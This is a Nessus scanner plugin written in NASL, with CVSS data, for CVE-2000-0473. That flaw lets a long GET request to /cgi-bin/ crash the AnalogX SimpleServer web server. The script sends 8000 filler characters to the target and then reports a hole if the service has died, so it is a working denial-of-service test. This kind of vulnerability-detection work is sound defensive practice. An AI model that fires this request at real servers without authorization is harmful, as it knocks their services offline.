CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
EPSS
Percentile
83.2%
It is possible to crash the remote web server by a long URL in the /cgi-bin directory. AnalogX SimpleServer is known to be affected by this flaw.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(10445);
script_version("1.32");
script_cvs_date("Date: 2018/06/29 12:01:03");
script_cve_id("CVE-2000-0473");
script_bugtraq_id(1349);
script_name(english:"AnalogX SimpleServer:WWW /cgi-bin/ Long GET Request DoS");
script_summary(english:"Crash the remote HTTP service");
script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a remote denial of service
vulnerability.");
script_set_attribute(attribute:"description", value:
"It is possible to crash the remote web server by a long URL in the
/cgi-bin directory. AnalogX SimpleServer is known to be affected by
this flaw." );
script_set_attribute(attribute:"solution", value:
"Upgrade to SimpleServer 1.06 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2000/07/15");
script_set_attribute(attribute:"plugin_publication_date", value:"2000/06/22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:analogx:simpleserver_www");
script_end_attributes();
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 2000-2018 Tenable Network Security, Inc.");
script_family(english:"Web Servers");
script_dependencie("http_version.nasl");
script_require_ports("Services/www", 80);
exit(0);
}
#
# Here we go
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
if (http_is_dead(port: port))
exit(1, "The web server on port "+port+" is dead.");
r = http_send_recv3(method:"GET", port:port, item:string("/cgi-bin/", crap(8000)), exit_on_fail: 0);
if (! http_is_dead(port: port, retry: 3))
exit(0, "The web server on port "+port+" is still alive.");
if ( report_paranoia >= 2 ||
service_is_dead(port: port) > 0)
security_hole(port);